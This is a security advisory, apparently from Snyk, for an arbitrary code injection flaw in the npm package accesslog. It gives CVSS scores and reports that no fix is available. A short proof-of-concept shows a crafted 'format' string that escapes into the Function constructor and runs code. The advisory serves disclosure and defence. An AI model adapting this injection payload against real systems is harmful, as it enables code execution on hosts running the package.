Arbitrary Code Injection Affecting accesslog package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.68% (80th percentile)

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  • Snyk ID SNYK-JS-ACCESSLOG-2312099
  • published 27 Feb 2022
  • disclosed 8 Dec 2021
  • credit OmniTaint

How to fix?

There is no fixed version for accesslog.

Overview

accesslog is a simple common/combined access log middleware

Affected versions of this package are vulnerable to Arbitrary Code Injection due to the usage of the Function constructor without input sanitization. If (attacker-controlled) user input is given to the format option of the package's exported constructor function, it is possible for an attacker to execute arbitrary JavaScript code on the host that this package is being run on.

PoC

var accesslog = require('accesslog');
var handler = accesslog({
  format: `\\\" + console.log('XSS');//`,
});
var req = {};
var res = {
   end: function() {},
 };
 handler(req, res, function() {});
 res.end();

References

CVSS Scores

version 3.1
Expand this section

Snyk

7.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    Low
Expand this section

NVD

9.8 critical